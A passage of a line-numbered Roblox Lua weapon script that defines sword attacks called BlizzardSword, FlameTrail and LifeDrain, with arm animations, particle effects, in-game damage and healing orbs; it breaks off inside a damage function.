  8687. end))
  8688. end
  8689. coroutine.resume(coroutine.create(function()
  8690. effectsg.Transparency = 1
  8691. for i = 0 , 1 , 0.1 do
  8692. wait()
  8693. effectsg.Transparency = 1-1*i
  8694. end
  8695. wait(2)
  8696. for i = 0 , 1 , 0.1 do
  8697. wait()
  8698. effectsg.Transparency = 1*i
  8699. end
  8700. effectsg.Parent = nil
  8701. end))
  8702. local mg = 100
  8703. if Hit ~= nil then
  8704. mg = (point0-point1).magnitude
  8705. elseif Hit == nil then
  8706. mg = 100
  8707. end
  8708. ls(Head,0.5)
  8709. ls(Head,0.75)
  8710. cs(Head,0.25)
  8711. ls(Head,1)
  8712. ls(Head,3)
  8713. cs(Head,0.15)
  8714. for mgg = 0 , 1,0.1 do
  8715. wait()
  8716. effectsg.Size = Vector3.new(5,(mg*mgg)+0.2,5)
  8717. local durr = CFrame.new((point0+(point1))/2,(point1))
  8718. effectsg.CFrame = CFrame.new((point0+(point1-durr.lookVector * (mg*(1-mgg))))/2,(point1)) * CFrame.Angles(math.rad(90),0,0)
  8719. end
  8720. local critrandomizer = math.random(1,crtrate)
  8721. if critrandomizer ~= 1 then
  8722. local rndmdamage = math.random(mindamage+30,maxdamage+30)
  8723. AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,false)
  8724. elseif critrandomizer == 1 then
  8725. local rndmdamage = math.random(maxdamage+30,crtmaxdamage+30)
  8726. AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,true)
  8727. end
  8728. bp.Parent = nil
  8729. for i = 0 , 1 , 0.1 do
  8730. wait()
  8731. RW.C0 = CFrame.new(1,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(90-45*i), math.rad(-45))
  8732. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8733. LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45*i),math.rad(45))
  8734. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  8735. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
  8736. RWL.C0 = CFrame.new(1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8737. LWL.C0 = CFrame.new(-1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8738. prt8.Transparency = 1*i
  8739. end
  8740. for ii = 1 , #AoETrue do
  8741. table.remove(AoETrue,#AoETrue)
  8742. end
  8743. RWLRem()
  8744. LWLRem()
  8745. attack = false
  8746. attacktype = 1
  8747. end
  8748. function BlizzardSword()
  8749. attack=true
  8750. for i = 0 , 1 , 0.2 do
  8751. wait()
  8752. RW.C0 = CFrame.new(1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45))
  8753. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8754. LW.C0 = CFrame.new(-1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i),math.rad(-45+45*i),math.rad(45))
  8755. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8756. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
  8757. end
  8758. local wssave = Character.Humanoid.WalkSpeed
  8759. Character.Humanoid.WalkSpeed = 0
  8760. ss(Head,1.5)
  8761. local efftab = {}
  8762. for i = 0 , 1 , 0.2 do
  8763. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8764. wait()
  8765. RW.C0 = CFrame.new(1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i), math.rad(0), math.rad(-45))
  8766. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8767. LW.C0 = CFrame.new(-1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i),math.rad(0),math.rad(45))
  8768. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8769. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45)) * CFrame.new(0, 0, 0.2)
  8770. local eff = effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
  8771. table.insert(efftab,eff)
  8772. end
  8773. local trspos = Torso.Position
  8774. Character.Humanoid.WalkSpeed = wssave
  8775. for _,efff in pairs(efftab) do
  8776. wait()
  8777. coroutine.resume(coroutine.create(function()
  8778. for i = 0 , 1 , 0.15 do
  8779. wait()
  8780. efff.Transparency = 1*i
  8781. end
  8782. wait()
  8783. efff.Transparency = 1
  8784. end))
  8785. end
  8786. for io,eff in pairs(efftab) do
  8787. wait()
  8788. for zz = 1 , 1 do
  8789. local mesh = Instance.new("CylinderMesh")
  8790. mesh.Scale = Vector3.new(0.1,0.5,0.1)
  8791. local shell = Instance.new("Part")
  8792. mesh.Parent = shell
  8793. shell.Anchored = true
  8794. shell.formFactor = 1
  8795. shell.Size = Vector3.new(1,1,1)
  8796. local dur = CFrame.new(trspos,eff.Position)
  8797. local CF1 = dur * CFrame.Angles(math.rad(90),0,0) * CFrame.new(0,-6,0)
  8798. shell.CFrame = CF1
  8799. shell.Parent = eff
  8800. shell.Transparency = 1
  8801. shell.Reflectance = 0.25
  8802. shell.BrickColor = BrickColor.new("Bright blue")
  8803. shell.CanCollide = false
  8804. is(shell,0.5)
  8805. coroutine.resume(coroutine.create(function()
  8806. for i = 0 , 1 , 0.1 do
  8807. wait()
  8808. shell.Transparency = 1-1*i
  8809. mesh.Scale = Vector3.new(0.1+4.9*i,0.5,0.1+4.9*i)
  8810. end
  8811. wait(0.25)
  8812. for i = 0 , 1 , 0.1 do
  8813. wait()
  8814. shell.Transparency = 1*i
  8815. mesh.Scale = Vector3.new(5-5*i,0.5-0.5*i,5-5*i)
  8816. end
  8817. shell.Parent = nil
  8818. end))
  8819. end
  8820. end
  8821. for io,eff in pairs(efftab) do
  8822. wait()
  8823. for zz = 1 , 1 do
  8824. local mesh = Instance.new("SpecialMesh")
  8825. mesh.MeshType = "FileMesh"
  8826. mesh.Scale = Vector3.new(5,2,1)
  8827. mesh.MeshId = "rbxasset://fonts/sword.mesh"
  8828. local shell = Instance.new("Part")
  8829. mesh.Parent = shell
  8830. shell.Anchored = true
  8831. shell.formFactor = 1
  8832. shell.Size = Vector3.new(2,2,5)
  8833. local dur = CFrame.new(trspos,eff.Position)
  8834. local CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5)* CFrame.Angles(0,0,math.rad(90))
  8835. shell.CFrame = CF1
  8836. shell.Parent = eff
  8837. shell.Transparency = 1
  8838. shell.Reflectance = 0.25
  8839. shell.BrickColor = BrickColor.new("Bright blue")
  8840. shell.CanCollide = false
  8841. local hitd = 0
  8842. coroutine.resume(coroutine.create(function()
  8843. local dd = false
  8844. while shell.Parent ~= nil and not dd do
  8845. wait()
  8846. local c = game.Workspace:GetChildren();
  8847. for i = 1, #c do
  8848. local hum = c[i]:findFirstChild("Humanoid")
  8849. if hum ~= nil and hum.Health ~= 0 then
  8850. local head = c[i]:findFirstChild("Torso");
  8851. if head ~= nil then
  8852. local targ = head.Position - shell.Position;
  8853. local mag = targ.magnitude;
  8854. if mag <= 3 and c[i].Name ~= Player.Name then
  8855. dd = true
  8856. local critrandomizer = math.random(1,crtrate)
  8857. if critrandomizer ~= 1 then
  8858. local rndmdamage = math.random(mindamage+iceboost,maxdamage+iceboost)
  8859. damagesplat(rndmdamage,head,false)
  8860. hum:TakeDamage(rndmdamage)
  8861. elseif critrandomizer == 1 then
  8862. local rndmdamage = math.random(maxdamage+iceboost,crtmaxdamage+iceboost)
  8863. damagesplat(rndmdamage,head,true)
  8864. hum:TakeDamage(rndmdamage)
  8865. end
  8866. end
  8867. end
  8868. end
  8869. end
  8870. end
  8871. end))
  8872. coroutine.resume(coroutine.create(function()
  8873. uss(eff,1)
  8874.  
  8875. for i = 0 , 1 , 0.1 do
  8876. wait()
  8877. shell.Transparency = 1-1*i
  8878. CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5+2*i)* CFrame.Angles(0,0,math.rad(90))
  8879. shell.CFrame = CF1
  8880. mesh.Scale = Vector3.new(5,2,1+0.5*i)
  8881. end
  8882. wait(0.25)
  8883. ss(eff,2)
  8884. for i = 0 , 1 , 0.1 do
  8885. wait()
  8886. shell.Transparency = 1*i
  8887. CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,8.5+25*i)* CFrame.Angles(0,0,math.rad(90))
  8888. shell.CFrame = CF1
  8889. mesh.Scale = Vector3.new(5-5*i,2-2*i,1.5-1.5*i*i)
  8890. end
  8891. shell.Parent = nil
  8892. end))
  8893. end
  8894. end
  8895. coroutine.resume(coroutine.create(function()
  8896. wait(1.5)
  8897. for _,eff in pairs(efftab) do
  8898. wait()
  8899. eff.Parent = nil
  8900. end end))
  8901. for i = 0 , 1 , 0.1 do
  8902. wait()
  8903. RW.C0 = CFrame.new(1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i), math.rad(45*i), math.rad(-45))
  8904. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8905. LW.C0 = CFrame.new(-1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45))
  8906. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8907. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
  8908. end
  8909. attack=false
  8910. end
  8911. local FTCount = 0
  8912. function FlameTrail()
  8913. attack=true
  8914. for i = 0 , 1 , 0.15 do
  8915. wait()
  8916. RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+55*i))
  8917. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(0), math.rad(0))
  8918. LW.C0 = CFrame.new(-1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45+20*i))
  8919. end
  8920. wait(0.1)
  8921. ss(Head,1.5)
  8922. fs(Head,0.5+1.5*math.random())
  8923. local efftab = {}
  8924. RW.C0 = CFrame.new(0.5,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10))
  8925. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(0), math.rad(0))
  8926. LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(65))
  8927. dmgcnnct(hitbox)
  8928. for i = 0 , 1 , 0.15 do
  8929. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8930. wait()
  8931. RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10))
  8932. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i*i), math.rad(0), math.rad(0))
  8933. LW.C0 = CFrame.new(-0.5-1*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+20*i),math.rad(-45),math.rad(65-155*i))
  8934. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8935. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8936. if FTCount <= MaxFT then
  8937. local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
  8938. eff.Transparency = 1
  8939. table.insert(efftab,eff)
  8940. FTCount = FTCount + 1
  8941. OTND(eff)
  8942. coroutine.resume(coroutine.create(function()
  8943. for i = 0 , 1 , 0.15 do
  8944. wait()
  8945. eff.Transparency = 1-0.5*i
  8946. end
  8947. wait()
  8948. eff.Transparency = 0.5
  8949. end))
  8950. end
  8951. end
  8952. local rndmneg = math.random(1,2)
  8953. if rndmneg == 1 then
  8954. rndmdec1 = 13 * math.random()
  8955. else
  8956. rndmdec1 = -13 * math.random()
  8957. end
  8958. for i = 0 , 1 , 0.1 do
  8959. wait()
  8960. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1*i), math.rad(90), math.rad(10-(rndmdec1*2)*i))
  8961. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(0), math.rad(0))
  8962. LW.C0 = CFrame.new(-1.5,0.5,-0) * CFrame.fromEulerAnglesXYZ(math.rad(100),math.rad(-45),math.rad(-90))
  8963. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8964. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8965. end
  8966. ss(Head,1.5)
  8967. fs(Head,0.5+1.5*math.random())
  8968. Hitdeb = 0
  8969. for i = 0 , 1 , 0.15 do
  8970. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8971. wait()
  8972. RW.C0 = CFrame.new(1.5-1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1), math.rad(90), math.rad(10-(rndmdec1*2)))
  8973. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-200*i), math.rad(0), math.rad(0))
  8974. LW.C0 = CFrame.new(-1.5+1*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(100-80*i),math.rad(-45),math.rad(-90+135*i))
  8975. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8976. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8977. if FTCount <= MaxFT then
  8978. local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
  8979. eff.Transparency = 1
  8980. table.insert(efftab,eff)
  8981. FTCount = FTCount + 1
  8982. OTND(eff)
  8983. coroutine.resume(coroutine.create(function()
  8984. for i = 0 , 1 , 0.15 do
  8985. wait()
  8986. eff.Transparency = 1-0.5*i
  8987. end
  8988. wait()
  8989. eff.Transparency = 0.5
  8990. end))
  8991. end
  8992. end
  8993. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8994. for i = 0 , 1 , 0.2 do
  8995. wait()
  8996. local rndmd = rndmdec1-rndmdec1*i
  8997. RW.C0 = CFrame.new(0,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad((90-rndmd)), math.rad(90), math.rad((10-(rndmd*2))-20*i))
  8998. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-90-10*i), math.rad(0), math.rad(0))
  8999. LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
  9000. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  9001. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9002. end
  9003. for i = 0 , 1 , 0.1 do
  9004. wait()
  9005. RW.C0 = CFrame.new(1*i,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90-20*i), math.rad(90-90*i), math.rad(-10-35*i))
  9006. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-100+100*i), math.rad(0), math.rad(0))
  9007. LW.C0 = CFrame.new(-0.5-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-10*i),math.rad(-45+45*i),math.rad(45))
  9008. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  9009. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
  9010. end
  9011. ss(Head,1.5)
  9012. fs(Head,0.5+1.5*math.random())
  9013. wait(0.1)
  9014. Hitdeb = 0
  9015. for i = 0 , 1 , 0.2 do
  9016. LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9017. wait()
  9018. RW.C0 = CFrame.new(1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i), math.rad(0), math.rad(-45))
  9019. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9020. LW.C0 = CFrame.new(-1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i),math.rad(0),math.rad(45))
  9021. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  9022. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45)) * CFrame.new(0, 0, 0.2)
  9023. if FTCount <= MaxFT then
  9024. local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
  9025. eff.Transparency = 1
  9026. table.insert(efftab,eff)
  9027. FTCount = FTCount + 1
  9028. OTND(eff)
  9029. coroutine.resume(coroutine.create(function()
  9030. for i = 0 , 1 , 0.15 do
  9031. wait()
  9032. eff.Transparency = 1-0.5*i
  9033. end
  9034. wait()
  9035. eff.Transparency = 0.5
  9036. end))
  9037. end
  9038. end
  9039. coroutine.resume(coroutine.create(function()
  9040. wait(5)
  9041. for _,eff in pairs(efftab) do
  9042. wait()
  9043. eff.Parent = nil
  9044. FTCount = FTCount - 1
  9045. end end))
  9046. for i = 0 , 1 , 0.1 do
  9047. wait()
  9048. RW.C0 = CFrame.new(1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i), math.rad(45*i), math.rad(-45))
  9049. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9050. LW.C0 = CFrame.new(-1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i),math.rad(-45*i),math.rad(45))
  9051. w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  9052. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
  9053. end
  9054. dmgdc()
  9055. attack=false
  9056. end
  9057.  
  9058.  
  9059. function LifeDrain()
  9060. attack=true
  9061. for i = 0 , 1 , 0.1 do
  9062. wait()
  9063. RW.C0 = CFrame.new(1,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45), math.rad(-45+90*i))
  9064. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0))
  9065. LW.C0 = CFrame.new(-1+1.25*i,0.5+0.25*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+25*i),math.rad(-45+90*i),math.rad(45+25*i))
  9066. LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0))
  9067. w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0)
  9068. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9069. end
  9070. ------
  9071. local nrmag = 50
  9072. local nrprsn = nil
  9073. wait()
  9074. --
  9075. local c = game.Workspace:GetChildren();
  9076. for i = 1, #c do
  9077. local hum = c[i]:findFirstChild("Humanoid")
  9078. if hum ~= nil and hum.Health ~= 0 then
  9079. local head = c[i]:findFirstChild("Torso");
  9080. if head ~= nil then
  9081. local targ = head.Position - Torso.Position;
  9082. local mag = targ.magnitude;
  9083. if mag <= 50 and c[i].Name ~= Player.Name then
  9084. if mag < nrmag then
  9085. nrmag = mag
  9086. nrprsn = c[i]
  9087. end
  9088. end end end end
  9089. --
  9090. if nrprsn == nil then
  9091. attack = false
  9092. return end
  9093. local C = 0
  9094. local bp = Instance.new("BodyPosition")
  9095. local bg = Instance.new("BodyGyro")
  9096. bp.Parent = Torso
  9097. bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  9098. bp.P = bp.P + 10000
  9099. local CF = nrprsn.Torso.CFrame
  9100. bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * -3
  9101. bg.Parent = Torso
  9102. bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  9103. bg.P = bg.P + 100000
  9104. bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(0),0,0)
  9105. ss(Head,2)
  9106. wait(0.1)
  9107. local FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9108. local LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9109. for i = 0 , 1 , 0.2 do
  9110. wait()
  9111. C = C + 1
  9112. RW.C0 = CFrame.new(1-1*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-90*i), math.rad(45), math.rad(45-135*i))
  9113. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0))
  9114. LW.C0 = CFrame.new(0.25-1.75*i,0.75-0.25*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(105-60*i),math.rad(45),math.rad(70-125*i))
  9115. LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0))
  9116. w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0)
  9117. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9118. if C == 3 then
  9119. bp.P = bp.P + 10000
  9120. bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * 6
  9121. bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(-45),0,0)
  9122. end
  9123. if C == 2 then
  9124. FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9125. elseif C == 5 then
  9126. LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9127. end
  9128. end
  9129. local effectsmsh = Instance.new("SpecialMesh")
  9130. effectsmsh.Scale = Vector3.new(5,1,5)
  9131. effectsmsh.MeshType = "Sphere"
  9132. local effectsg = Instance.new("Part")
  9133. effectsg.formFactor = 3
  9134. effectsg.CanCollide = false
  9135. effectsg.Name = "Eff"
  9136. effectsg.Locked = true
  9137. effectsg.Anchored = true
  9138. effectsg.Size = Vector3.new(0.2,1,0.2)
  9139. effectsg.Parent = swordholder
  9140. effectsmsh.Parent = effectsg
  9141. effectsg.BrickColor = BrickColor.new("White")
  9142. effectsg.Reflectance = Ref
  9143. local point1 = FirstP
  9144. local LP = LastP
  9145. local mg = (LP.p - point1.p).magnitude
  9146. effectsg.Size = Vector3.new(0.2,mg,0.2)
  9147. effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0)
  9148. if returnn then return effectsg end
  9149. coroutine.resume(coroutine.create(function()
  9150. if not returnn then
  9151. for i = 0 , 1 , 0.1 do
  9152. wait()
  9153. effectsg.Transparency = 1*i
  9154. end
  9155. wait()
  9156. effectsg.Parent = nil
  9157. end
  9158. end))
  9159. local critrandomizer = math.random(1,crtrate)
  9160. local rndmdamage = 0
  9161. if critrandomizer ~= 1 then
  9162. rndmdamage = math.random(mindamage,maxdamage)
  9163. damagesplat(rndmdamage,nrprsn.Head,false)
  9164. nrprsn.Humanoid:TakeDamage(rndmdamage)
  9165. elseif critrandomizer == 1 then
  9166. rndmdamage = math.random(maxdamage,crtmaxdamage)
  9167. damagesplat(rndmdamage,nrprsn.Head,true)
  9168. nrprsn.Humanoid:TakeDamage(rndmdamage)
  9169. end
  9170. local tempmod = Instance.new("Model",Workspace)
  9171. for l = 1 , rndmdamage/5 do
  9172. local meshz = Instance.new("SpecialMesh")
  9173. meshz.Scale = Vector3.new(1.5,1.5,1.5)
  9174. meshz.MeshType = "Sphere"
  9175. local shellz = Instance.new("Part")
  9176. meshz.Parent = shellz
  9177. shellz.Anchored = false
  9178. shellz.formFactor = 0
  9179. shellz.Size = Vector3.new(1,1,1)
  9180. shellz.CFrame = hitbox.CFrame
  9181. shellz.Parent = tempmod
  9182. shellz.Transparency = 0.5
  9183. shellz.BrickColor = BrickColor.new("White")
  9184. shellz.CanCollide = false
  9185. shellz.Reflectance = 0
  9186. local bv = Instance.new("BodyPosition")
  9187. bv.Parent = shellz
  9188. bv.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  9189. bv.P = bv.P + 10000
  9190. bv.position = shellz.Position + Vector3.new(math.random(-25,25),math.random(-2.5,7.5),math.random(-25,25))
  9191. coroutine.resume(coroutine.create(function()
  9192. wait(3)
  9193. bv.maxForce = Vector3.new(0,math.huge,0)
  9194. coroutine.resume(coroutine.create(function()
  9195. local dd = false
  9196. while shellz.Transparency ~= 1 and not dd do
  9197. wait(0.1)
  9198. local cc = game.Workspace:GetChildren();
  9199. for i = 1, #c do
  9200. local hum = cc[i]:findFirstChild("Humanoid")
  9201. if hum ~= nil and hum.Health ~= 0 then
  9202. local head = cc[i]:findFirstChild("Head");
  9203. if head ~= nil then
  9204. local targ = head.Position - shellz.Position;
  9205. local mag = targ.magnitude;
  9206. if mag <= 5 then
  9207. dd = true
  9208. damagesplat(5+darkboost,head,false)
  9209. hum.Health = hum.Health + 5 + darkboost
  9210. for i = 0 , 1 , 0.05 do
  9211. wait()
  9212. shellz.Transparency = 1*i
  9213. end
  9214. shellz.Parent = nil
  9215. end
  9216. end
  9217. end
  9218. end
  9219. end
  9220. end))
  9221.  
  9222. end))
  9223. local hx = false
  9224. coroutine.resume(coroutine.create(function()
  9225. for i = 0 , 1 , 0.05 do
  9226. wait()
  9227. shellz.Transparency = 1-1*i
  9228. end
  9229. shellz.Transparency = 0
  9230. end))
  9231. coroutine.resume(coroutine.create(function()
  9232. wait(60)
  9233. for ii,shellz in pairs(tempmod:GetChildren()) do
  9234. for i = 0 , 1 , 0.1 do
  9235. wait()
  9236. shellz.Transparency = 1*i
  9237. end
  9238. shellz.Parent = nil
  9239. end
  9240. tempmod.Parent = nil
  9241. end))
  9242. end
  9243. wait(0.5)
  9244. ----
  9245. RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
  9246. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9247. LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
  9248. LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9249. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9250. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9251. attack=false
  9252. bp.Parent = nil bg.Parent = nil
  9253. end
  9254.  
  9255.  
  9256. --TEST
  9257.  
  9258. hammer = Torso
  9259.  
  9260. function doDamage(hit)
  9261. local humanoid = hit.Parent:findFirstChild("Humanoid")
  9262. local hum = Player.Character:findFirstChild("Humanoid") -- non-nil if tool held by a character
  9263. if humanoid~=nil and humanoid ~= hum and hum ~= nil then
  9264. local foundd = false
  9265. for ii = 1 , #AoETrue do
  9266. if AoETrue[ii] == hit.Parent.Name then
  9267. foundd = true
  9268. end
  9269. end
  9270. if foundd then
  9271. end
  9272. --
  9273. if not foundd then
  9274. humanoid:TakeDamage(5)
